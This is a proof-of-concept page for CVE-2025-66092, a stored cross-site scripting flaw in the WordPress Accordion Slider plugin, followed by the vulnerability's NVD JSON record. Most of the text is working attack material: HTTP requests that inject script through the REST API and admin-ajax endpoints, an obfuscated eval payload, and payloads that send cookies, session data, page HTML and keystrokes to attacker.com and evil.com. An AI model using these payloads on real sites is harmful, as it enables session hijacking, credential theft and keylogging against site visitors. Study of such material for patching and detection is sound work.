CVE-2025-66092

<!-- CVE-2025-66092 PoC: Stored XSS in WordPress Accordion Slider Plugin --> <!-- This PoC demonstrates injecting malicious JavaScript via accordion slide content --> <!-- Method 1: Via WordPress REST API --> POST /wp-json/wp/v2/posts/1 HTTP/1.1 Host: target.com Content-Type: application/json Authorization: Bearer <authenticated_user_token> { "title": "Malicious Accordion", "content": "[accordion_slider id='1']", "meta": { "accordion_slide_title": "<img src=x onerror=alert(document.cookie)>", "accordion_slide_content": "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" } } <!-- Method 2: Via AJAX endpoint --> POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: [authenticated_user_cookies] action=accordion_slider_save_slide&slide_title=<img src=x onerror=eval(atob('YWxlcnQoJ1hTUyBDdXJyZWQnKQ=='))>&slide_content=<script>document.location='https://evil.com/log?cookie='+document.cookie</script>&nonce=[security_nonce] <!-- Trigger payload on page view --> <!-- Visit: https://target.com/accordion-page/ --> <!-- The stored XSS will execute when the accordion slider renders --> <!-- XSS Payload Examples --> <!-- 1. Cookie Stealing --> <script>new Image().src='https://attacker.com/cookies?c='+document.cookie;</script> <!-- 2. Session Hijacking --> <script>fetch('https://attacker.com/api/steal',{method:'POST',body:JSON.stringify({session:document.cookie,screenshot:document.documentElement.outerHTML})});</script> <!-- 3. Keylogger --> <script>document.onkeypress=function(e){fetch('https://attacker.com/log?k='+e.key);}</script>

{"cve": {"id": "CVE-2025-66092", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:50.570", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in bqworks Accordion Slider accordion-slider allows Stored XSS.This issue affects Accordion Slider: from n/a through <= 1.9.13."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/accordion-slider/vulnerability/wordpress-accordion-slider-plugin-1-9-13-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}